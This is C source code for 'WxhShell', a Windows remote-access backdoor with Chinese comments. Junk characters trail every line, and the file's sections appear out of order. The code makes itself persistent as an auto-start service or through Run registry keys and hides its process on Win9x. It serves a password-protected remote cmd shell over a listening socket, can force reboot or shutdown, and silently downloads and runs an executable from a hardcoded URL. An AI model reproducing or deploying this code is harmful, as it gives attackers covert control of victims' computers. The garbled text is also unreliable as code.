    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5 [{l9  
    if(Boot(SHUTDOWN)) l{tpFu9v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *x[ZN\$`Y  
    else { Jq0aDf f  
    closesocket(wsh); = GUgb2TAT  
    ExitThread(0); }7p`8?  
    } v x qsK  
    break; eXo7_#  
    } d:08@~#  
  // 获取shell Zpfsh2`  
  case 's': { b1An2 e[  
    CmdShell(wsh); 'qR)f\em  
    closesocket(wsh); K q;X(&Z  
    ExitThread(0); v@_}R_pX  
    break; D@9adwQb  
  } )+;Xfftz  
  // 退出 W"j&':xD  
  case 'x': { JC| j*x(k/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wrw4Uxq  
    CloseIt(wsh); +T]/4"^M  
    break; M7U:UV)  
    } BYjEo  
  // 离开 | Q0Wv8/  
  case 'q': { qffVF|7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fTb&k;'LR<  
    closesocket(wsh); #mhR^60,  
    WSACleanup(); 7l Q@I}i  
    exit(1); NDsF<2A4  
    break; X2CpA;#;7l  
        } ~mAv)JK  
  } vjNP  
  } jz CA2N%  
4%k{vo5i  
  // 提示信息 }N @8zB~X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AlZ]UGf^  
} 0hJ,l.  
  } N %;bV@A9  
 ! @EZ  
  return; &y\7pAT\  
} dM n0nc+  
90R z#qrI*  
// shell模块句柄 7$"{&T  
int CmdShell(SOCKET sock) ;UU`kk  
{ jtS-nQ|  
STARTUPINFO si; F3)w('h9c  
ZeroMemory(&si,sizeof(si)); gJ \CT'/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eI20)t`j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )96tBA%u  
PROCESS_INFORMATION ProcessInfo; "{TVd>9_  
char cmdline[]="cmd"; ~`Uil=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =;HC7TUM&  
  return 0; Ql2zC9C  
} 2%!yV~Z  
r.WQ6h/eZ5  
// 自身启动模式 Fa ]|Y  
int StartFromService(void) EA# {N<  
{ 'YFy6rds  
typedef struct +!"GYPUXy  
{ 0oT~6BGm  
  DWORD ExitStatus; a!?JVhD&  
  DWORD PebBaseAddress; 0Y|"Bo9k  
  DWORD AffinityMask; tfz"9PV80  
  DWORD BasePriority; mz-sazgV  
  ULONG UniqueProcessId; _!qi`A  
  ULONG InheritedFromUniqueProcessId; :v$][jZ2  
}   PROCESS_BASIC_INFORMATION; nF"NXYa  
qcVmt1"  
PROCNTQSIP NtQueryInformationProcess; ya`Z eQ-p  
9(-f)$u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~<Eu @8+_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t=(d, kf  
i#4}xvi  
  HANDLE             hProcess; l%\p  
  PROCESS_BASIC_INFORMATION pbi;  $I*<gn9  
w20)~&LE-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1n3XB+*  
  if(NULL == hInst ) return 0; g"}j  
9-ei#|Vnt[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c_~tCKAZ   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kleE\ 8_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ) dB?Ep|  
!-tP\%'  
  if (!NtQueryInformationProcess) return 0; lGhhH _  
uO^,N**R#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7T69tQZ<  
  if(!hProcess) return 0; xj< K6  
d?6\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?1afW)`a.v  
! (H RP9  
  CloseHandle(hProcess); f%[0}.wp  
U;w| =vM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (fqU73  
if(hProcess==NULL) return 0; xwhS[d  
FE=vUQXE2  
HMODULE hMod; DeK&_)g| Z  
char procName[255]; OCN:{  
unsigned long cbNeeded; tO}Y=kZa{  
NG+%H1!$_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); } q?*13iy(  
};m.8(}$)  
  CloseHandle(hProcess); q9gk:Jt  
]39])ul  
if(strstr(procName,"services")) return 1; // 以服务启动 <^n@q f}  
wn Q% 'Eo  
  return 0; // 注册表启动 nN'>>'@>  
} p3Z[-2I  
)u?^w  
// 主模块 cgV5{|P  
int StartWxhshell(LPSTR lpCmdLine) 1lLXu  
{ -IE=?23Do?  
  SOCKET wsl; "2_nN]%u-  
BOOL val=TRUE; %|(Cb!ySX  
  int port=0; =38c}(  
  struct sockaddr_in door; p!/ *(TT  
.VA'W16  
  if(wscfg.ws_autoins) Install(); KN< KZM  
HO}eu  
port=atoi(lpCmdLine); v"x'rx#  
F 9J9zs*,  
if(port<=0) port=wscfg.ws_port; 0c GjOl  
EUmbNV0u  
  WSADATA data; -~NjZ=vPh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j V'~>  
3kW%,d*_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (nnIRN<}$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /4>|6l=  
  door.sin_family = AF_INET; yD yMI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ' JAcN@q~z  
  door.sin_port = htons(port); 4<btWbk5u*  
tGw QUn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OI)U c .  
closesocket(wsl); 1SG^g*mf  
return 1; zbZN-j#  
} OrRU$5Lo  
-Gj."ks  
  if(listen(wsl,2) == INVALID_SOCKET) { rd ]dD G  
closesocket(wsl); .2f0e[J  
return 1;  q^Ui2  
} g{e@I;F  
  Wxhshell(wsl); HV[*=Qi  
  WSACleanup(); czcsXBl[  
f)#nXTXeC  
return 0; >jRH<|Az  
f^[u70c82  
} rrrn8b6  
#@Rtb\9  
// 以NT服务方式启动 Ou5,7Ne  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C<E;f]d  
{ BDcA_= ^R&  
DWORD   status = 0; +i(;@% kv  
  DWORD   specificError = 0xfffffff; +kM*BCPYE  
JL=s=9N;3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :^J'_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EMw biGV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fctVJ{?  
  serviceStatus.dwWin32ExitCode     = 0; t}fU 2Yb  
  serviceStatus.dwServiceSpecificExitCode = 0; G|LcTV  
  serviceStatus.dwCheckPoint       = 0; E>&oe&`o'  
  serviceStatus.dwWaitHint       = 0; en8l:INX  
AkX8v66:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l.%[s6  
  if (hServiceStatusHandle==0) return; 3h4'DQ.g  
>mp" =Y  
status = GetLastError(); 5^ e|802  
  if (status!=NO_ERROR) G]E-2 _t7  
{ 7NP Ny  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mApl}I  
    serviceStatus.dwCheckPoint       = 0; q/dja  
    serviceStatus.dwWaitHint       = 0; BE,H`G #h  
    serviceStatus.dwWin32ExitCode     = status; Nrfj[I  
    serviceStatus.dwServiceSpecificExitCode = specificError; _<7e5VR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;#n+$Q#:  
    return; KBa   
  } X0BBJ(e  
Vbp`Rm1?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [' cq  
  serviceStatus.dwCheckPoint       = 0; x`Ik747^v  
  serviceStatus.dwWaitHint       = 0; o]WG8Mo-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X@^"@  
} N6uKFQL:{  
VN >X/  
// 处理NT服务事件,比如:启动、停止 Z:Nm9m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <lf6gb  
{ \Z/# s;c,4  
switch(fdwControl) i1-wzI  
{  $&to(  
case SERVICE_CONTROL_STOP: }x+s5a;!3/  
  serviceStatus.dwWin32ExitCode = 0; "dFuQB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]7 2wv#-  
  serviceStatus.dwCheckPoint   = 0; hC2_Yr>N%  
  serviceStatus.dwWaitHint     = 0; 0RkiD8U5  
  { =Y<RG"]a&J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nhI1`l&  
  } UO8./%'  
  return; t(\P8J  
case SERVICE_CONTROL_PAUSE: ~,O}wT6q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &/{x7;e  
  break; 1ZRSeh  
case SERVICE_CONTROL_CONTINUE: "Rq)%o$Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {U7A&e0eW  
  break; mqKr+  
case SERVICE_CONTROL_INTERROGATE: ZfSAXr "(  
  break; z|WDqB%/I  
}; Nh+ZSV4WJ:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .>+jtp}  
} f}? q  
Ukg iSv+  
// 标准应用程序主函数 '`/w%OEVC5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U Y')|2y 5  
{ 6dQ]=];  
3`> nQ4zC  
// 获取操作系统版本 _sI\^yZd  
OsIsNt=GetOsVer(); YfUUbV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q??nw^8Hi  
\ 0aa0=  
  // 从命令行安装 "|%'/p  
  if(strpbrk(lpCmdLine,"iI")) Install(); `'}c- Q  
+,A7XBn  
  // 下载执行文件 :P: OQ[$  
if(wscfg.ws_downexe) {  mIkc +X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vGI?X#w3  
  WinExec(wscfg.ws_filenam,SW_HIDE); [;qZu`n>  
} 1,(uRS#bk  
_do(   
if(!OsIsNt) { <s(<ax30  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,]8$QFf  
HideProc(); h0n,WU/Kw  
StartWxhshell(lpCmdLine); )Qixde>]p  
} [;8vO=Z  
else zx=AT  
  if(StartFromService()) (Gpk;DD  
  // 以服务方式启动 Fc.1)yh.  
  StartServiceCtrlDispatcher(DispatchTable); mZb[Fi  
else d}_%xkC  
  // 普通方式启动 Hsi<!g.  
  StartWxhshell(lpCmdLine); @T 8$/  
=VM4Q+'K  
return 0; z9IJ%= R  
} ,?ci+M)  
z{ydP Ra  
XbL\l  
G2e0\}q  
=========================================== `Wy8g?d;bn  
6<+8[o  
(N`x  
H_+F~P5RC  
.~ yz1^ c  
[sweN]b6F  
" *d;D~"E<@  
}~3 %KHT  
#include <stdio.h> R8YA"(j!L  
#include <string.h> h!UB#-  
#include <windows.h> GPVqt"TY  
#include <winsock2.h> "8YXFg  
#include <winsvc.h> CxW-lU3G`  
#include <urlmon.h> .*+KQ A8  
zMW[Xx!  
#pragma comment (lib, "Ws2_32.lib") XVNJ3/  
#pragma comment (lib, "urlmon.lib") E2a00i/9Y  
5Sfz0  
#define MAX_USER   100 // 最大客户端连接数 KD)+& 69  
#define BUF_SOCK   200 // sock buffer cp\A xWtUZ  
#define KEY_BUFF   255 // 输入 buffer |jwN8@  
p.J+~s4G  
#define REBOOT     0   // 重启 {9yW8&m  
#define SHUTDOWN   1   // 关机 Z2wgfP`  
A3=$I&!%  
#define DEF_PORT   5000 // 监听端口 35X4] t  
>7^i>si  
#define REG_LEN     16   // 注册表键长度 |)\{Rufb  
#define SVC_LEN     80   // NT服务名长度 4_B1qN  
BO 3%p  
// 从dll定义API Lavm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q'n]+%YN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !mtq?LV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Rr0@F`"R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r:*0)UZlD  
%.3] F2_Q  
// wxhshell配置信息 IoI ,IX]i)  
struct WSCFG { 98^o9i  
  int ws_port;         // 监听端口 (hv>vfY@  
  char ws_passstr[REG_LEN]; // 口令 =fZMute  
  int ws_autoins;       // 安装标记, 1=yes 0=no >84:1 `  
  char ws_regname[REG_LEN]; // 注册表键名 P-c<[DSM'I  
  char ws_svcname[REG_LEN]; // 服务名 3~&h9#7 Ke  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :4, OA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ( @y te  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QY]G+3W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3vK,vu q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c5e  wG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;[>g(W+  
6xsB#v*  
}; J&bhR9sF  
rBY{&JhS  
// default Wxhshell configuration I||4.YT  
struct WSCFG wscfg={DEF_PORT, j(SBpM  
    "xuhuanlingzhe", uqMe %  
    1, hR1n@/nh  
    "Wxhshell", @<W^/D1#L  
    "Wxhshell", /K2=GLl;  
            "WxhShell Service", !<P|:Oo*Dl  
    "Wrsky Windows CmdShell Service", *MBu5 +u%e  
    "Please Input Your Password: ", 0cxk)l%  
  1, ejuw+@ _  
  "http://www.wrsky.com/wxhshell.exe", k_}aiHdG  
  "Wxhshell.exe" Im*~6[  
    }; Zg#VZg1 2  
5/>W(,5}  
// 消息定义模块 PF4"J^V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F:o<E 42  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qso"jYl<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hn@T ]k  
char *msg_ws_ext="\n\rExit."; D ^~G(m;-  
char *msg_ws_end="\n\rQuit."; yd-Kg zm8n  
char *msg_ws_boot="\n\rReboot..."; 1VD8y_tC  
char *msg_ws_poff="\n\rShutdown..."; F3L'f2yBG  
char *msg_ws_down="\n\rSave to "; (,5,}  
9gLUM$Kd  
char *msg_ws_err="\n\rErr!"; dY'mY~Tv  
char *msg_ws_ok="\n\rOK!"; +g6t)Gl  
X\a*q]"_  
char ExeFile[MAX_PATH]; :Vyr8+]  
int nUser = 0; kA1C&  
HANDLE handles[MAX_USER]; D<35FD,  
int OsIsNt; ue;o:>G  
'`K-rvF,C  
SERVICE_STATUS       serviceStatus; apxY2oE&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P}kp_l27  
|dxcEjcY_  
// 函数声明 A&:i$`m,  
int Install(void); 7kZ-`V|\.  
int Uninstall(void); s^n}m#T  
int DownloadFile(char *sURL, SOCKET wsh); k]<E1 c/  
int Boot(int flag); .9Y,N&V<H  
void HideProc(void); :172I1|7  
int GetOsVer(void); UJWkG^?  
int Wxhshell(SOCKET wsl); 8.'[>VzBL  
void TalkWithClient(void *cs); [z^db0PU  
int CmdShell(SOCKET sock); v,] &[`  
int StartFromService(void); c-ahe;q  
int StartWxhshell(LPSTR lpCmdLine); A"`^A brm  
EGKj1_ml  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aj71oki)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GWU"zWli]z  
W]t!I}yPR  
// 数据结构和表定义 W_ =  
SERVICE_TABLE_ENTRY DispatchTable[] = SX4"HadV>  
{ CfWtCA  
{wscfg.ws_svcname, NTServiceMain}, %bp8VR sY  
{NULL, NULL} 7K|: 7e(  
}; F{g^4  
{4@+ 2)l  
// 自我安装 LXm5f;  
int Install(void) d\R]>  
{ fW,,@2P  
  char svExeFile[MAX_PATH]; b& l/)DU  
  HKEY key; @DYxDap{  
  strcpy(svExeFile,ExeFile); R6N+c\W  
Imi#$bF6  
// 如果是win9x系统,修改注册表设为自启动 6U`<+[K7  
if(!OsIsNt) { EP|OKXRltA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %L\buwjy$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *r&q;ER  
  RegCloseKey(key); },d`<^~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XU3v#Du  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .5;Xd?  
  RegCloseKey(key); s L9,+  
  return 0; >Y h7By  
    } \;h+:[<e1  
  } (61_=,jv\h  
} ^zMME*G  
else { A@W/  
/ox9m7Fz7  
// 如果是NT以上系统,安装为系统服务 U%7| iK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~_z"So'|F_  
if (schSCManager!=0) nJvDkh#h1  
{ Jf/X3\0N7  
  SC_HANDLE schService = CreateService mv,<#<-W  
  ( 4r&S&^  
  schSCManager, KVvzVQ1  
  wscfg.ws_svcname, cNX0.7Ls  
  wscfg.ws_svcdisp, F%8W*Y699  
  SERVICE_ALL_ACCESS, TH`zp]0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _ 2WG6y;  
  SERVICE_AUTO_START, |7K[+aK  
  SERVICE_ERROR_NORMAL, qNLG-m,n<  
  svExeFile, ~1NK@=7T  
  NULL, 2 f" =f^rf  
  NULL, }w#Ek=,s#o  
  NULL, p;GT[Ds^  
  NULL, d"1DE  
  NULL 4@qKML  
  ); C;T:'Uws  
  if (schService!=0) =*AAXNs@3  
  { y}fF<qih'>  
  CloseServiceHandle(schService); \uumNpB*n  
  CloseServiceHandle(schSCManager); AX Y.80+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T4OH,^J  
  strcat(svExeFile,wscfg.ws_svcname); = }&@XRLJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b;N[_2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k k&8:;Vj  
  RegCloseKey(key); 5,>Of~YN  
  return 0; N34.Bt  
    } #SHmAB  
  } Xm|Uz`A;  
  CloseServiceHandle(schSCManager); f1a >C  
} Myl!tXawe8  
} %7X<:f|N8x  
\WDL?(G<  
return 1; $Vi[195]2  
} T,Bu5:@#  
=aWj+ggd@  
// 自我卸载 GJUorj&  
int Uninstall(void) d,Fj|}S  
{ oBA]qI  
  HKEY key; H O^3v34ZO  
~{#$`o=  
if(!OsIsNt) { >t[beRcR6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C+*qU  
  RegDeleteValue(key,wscfg.ws_regname); U5 `h  
  RegCloseKey(key); GAZTCkB"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [3yzVcr~4  
  RegDeleteValue(key,wscfg.ws_regname); 4k HFfc  
  RegCloseKey(key); RGeM.  
  return 0; :QndeUw  
  } GTj=R$%09  
} o]&w"3vOP0  
} K/2k/\Jk[_  
else { d6$,iw@>^  
14[+PoF^A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `]Uu`b  
if (schSCManager!=0) 69 PTo  
{ 'f#i@$|]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +<G |Ru-  
  if (schService!=0) p19[qy~.  
  { @>wD`<U|  
  if(DeleteService(schService)!=0) { j|`6[93MG  
  CloseServiceHandle(schService); sHqs)@D  
  CloseServiceHandle(schSCManager); fp jy[$8  
  return 0; #Ub"Ii  
  } wD|3Czc  
  CloseServiceHandle(schService); *4i)aj  
  } O8; `6r  
  CloseServiceHandle(schSCManager); A`=;yD  
} .4M8  
} )HrFWI'Y  
m])!'Pa( =  
return 1; CQf<En|1  
} b8?qYm  
vy ME  
// 从指定url下载文件 oD$8(  
int DownloadFile(char *sURL, SOCKET wsh) *K9I+t"g  
{ U4DQ+g(A  
  HRESULT hr; 0WasE1t|  
char seps[]= "/"; [-Zp[  
char *token; E+Jh4$x {  
char *file; 4G:I VK9  
char myURL[MAX_PATH]; ~?V+^<P  
char myFILE[MAX_PATH]; ?_\t7f  
>^1|Mg/!>  
strcpy(myURL,sURL); Oz\mIVC#  
  token=strtok(myURL,seps); 2Xu?/yd  
  while(token!=NULL) &1O!guq%  
  { 9Tgl/}q)  
    file=token; /5:f[-\s  
  token=strtok(NULL,seps); i+/:^tc;  
  } )Ir_:lk  
$/\b`ID  
GetCurrentDirectory(MAX_PATH,myFILE); T ;Ga G  
strcat(myFILE, "\\"); NDw+bR-  
strcat(myFILE, file); 59?@55  
  send(wsh,myFILE,strlen(myFILE),0); -#=y   
send(wsh,"...",3,0); .k{omr&Dy5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |G2hm8 Y  
  if(hr==S_OK) xwjim7# _:  
return 0; 1E(~x;*)  
else N30w^W&  
return 1; %+WIv+ <  
'Zq$ W]i  
} -hM nA)+  
 #RE  
// 系统电源模块 V#j|_N1hm  
int Boot(int flag) Gj[+{  
{ MA:2]l3e  
  HANDLE hToken; Hpo/CY/  
  TOKEN_PRIVILEGES tkp; 0-)D`s%  
$ae*3L>5M  
  if(OsIsNt) { b.qp&2A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nI1DLVt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _3q%  
    tkp.PrivilegeCount = 1; h[5<S&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KY)r kfo B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "3!!G=s P  
if(flag==REBOOT) { M7Pvc%\)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VZOf|o  
  return 0; R3MbTg  
} o8!gV/oy  
else { 3pxm0|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /?POIn+0o  
  return 0; "W_C%elg  
} _1z|QC  
  } 4dDDi,)U  
  else { F^5<o  
if(flag==REBOOT) { ~|j:xM(i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pRsYA7Ti  
  return 0; )P6n,\  
} NLe+  
else { 'xNPy =#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fV-vy]x..  
  return 0; Jjb(lW  
} 9aLS%-x!+  
} &G5=?ub  
Evz;eobW/  
return 1; JHY0 J &4s  
} E$z)$`"1  
0> pOP  
// win9x进程隐藏模块 }*!7 Vrep  
void HideProc(void) Tct[0B  
{ ^ <Z^3c>/  
FzOr#(^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \V@Hf"=j  
  if ( hKernel != NULL ) ` [ EzU+  
  { njk.$]M|nf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zE{@'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \NYtxGV[Z  
    FreeLibrary(hKernel); P# o/S4  
  } !Jo3>!,j  
B;M{v5s~]  
return; 39;Z+s";  
} =*q|568  
Te%'9-jk  
// 获取操作系统版本 R jO9E.nm  
int GetOsVer(void) I0 y+,~\  
{ ICNS+KsI  
  OSVERSIONINFO winfo; @=[/bG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z+!3m.q  
  GetVersionEx(&winfo); aqvt$u8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0B(<I?a/  
  return 1; tuA,t  
  else *_<P% J  
  return 0; 1sFTXl  
} WA-` *m$v  
m`<Mzk.u<  
// 客户端句柄模块 a :jRQ-F)  
int Wxhshell(SOCKET wsl) T^-fn  
{ t#+X*'/  
  SOCKET wsh; I)~&6@J n  
  struct sockaddr_in client; 15Vb`Vf`N  
  DWORD myID; #C?T  
^7`"wj14  
  while(nUser<MAX_USER) 0_Hdj K  
{ -GkNA"2M[  
  int nSize=sizeof(client); ~L!*p0dS^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7@g8nv(p  
  if(wsh==INVALID_SOCKET) return 1; |]a =He;  
9X8{"J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )u7*YlU\I  
if(handles[nUser]==0) Wxl^f?I`:  
  closesocket(wsh); OE(H:^ZR  
else o56_t{<  
  nUser++; Dc |!H{Yr  
  } ]KGLJ~hm>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _W41;OY  
@%L4^ms  
  return 0; daT[2M  
} )^UM8 s  
\H$Ps9Xh  
// 关闭 socket !dfc1UjB  
void CloseIt(SOCKET wsh) *|MHQp'A  
{ iw<#V&([ J  
closesocket(wsh); @ViJJ\  
nUser--; \oF79   
ExitThread(0);  ^o+}3=  
} v*%#Fp,g8  
-k{n"9a9?  
// 客户端请求句柄 .s 31D%N  
void TalkWithClient(void *cs) aG7QLCL  
{ %iWup:  
-UaUFJa8K&  
  SOCKET wsh=(SOCKET)cs; q/xMM `{  
  char pwd[SVC_LEN]; RQI?\?o  
  char cmd[KEY_BUFF]; !|`G<WD  
char chr[1]; -;_`>OU{  
int i,j; >9c$2d|>  
Y:C7S~  
  while (nUser < MAX_USER) { OKfJ  
Y) Y`9u<?  
if(wscfg.ws_passstr) { !oeu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4 vwa/?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >{i/LC^S  
  //ZeroMemory(pwd,KEY_BUFF); oxE'u<  
      i=0; ;crQ7}k  
  while(i<SVC_LEN) { ;bVC7D~~4w  
ig:/60Z  
  // 设置超时 ]gYnw;W$  
  fd_set FdRead; 2Yt#%bj7^  
  struct timeval TimeOut; 5EDN 9?a  
  FD_ZERO(&FdRead); X3#/|>  
  FD_SET(wsh,&FdRead); FR9<$  
  TimeOut.tv_sec=8; X l#P@60  
  TimeOut.tv_usec=0; TEl :;4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >TUs~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c 6sGjZdR  
zyTP|SXk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >*H>'O4  
  pwd=chr[0]; 2't<Hl1qN  
  if(chr[0]==0xd || chr[0]==0xa) { cZKK\hf<  
  pwd=0; T^u][I3*  
  break; W R@=[G#TJ  
  } h5WS<P  
  i++; Y - 6 ?x  
    } e{8z1t20:  
N+x0"~T}I  
  // 如果是非法用户,关闭 socket AOQimjW9a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /W'GX n  
} U'zW; Lt  
}^WQNdws56  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ei2Y)_   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 78>)<$+d  
an^"_#8DA@  
while(1) { `m?%{ \  
U>6MT@\  
  ZeroMemory(cmd,KEY_BUFF); !)RND 6.  
`O(ec  
      // 自动支持客户端 telnet标准   Tx?,]c,(u  
  j=0; X-9>;Mb~y  
  while(j<KEY_BUFF) { N-|E^XIV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Et ty{r}  
  cmd[j]=chr[0]; *@=in7*c  
  if(chr[0]==0xa || chr[0]==0xd) { Mk"+*G  
  cmd[j]=0; MB :knj  
  break; cVJ"^wgBt  
  } V0 x[sEW  
  j++; VO3&!uOd  
    } kA?a}   
Yu-e |:  
  // 下载文件 #+HLb  
  if(strstr(cmd,"http://")) { w\k|^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OiNzN.}d  
  if(DownloadFile(cmd,wsh)) _x 'R8/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pkpD1c^  
  else IRNL(9H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o9G%KO&;D,  
  } :S}!i?n  
  else { ~C=I{qzF+  
TSqfl/UI  
    switch(cmd[0]) { .MkHB0 2N  
  M3@Wb@  
  // 帮助 Hrq1{3~  
  case '?': { ^]w!ow41  
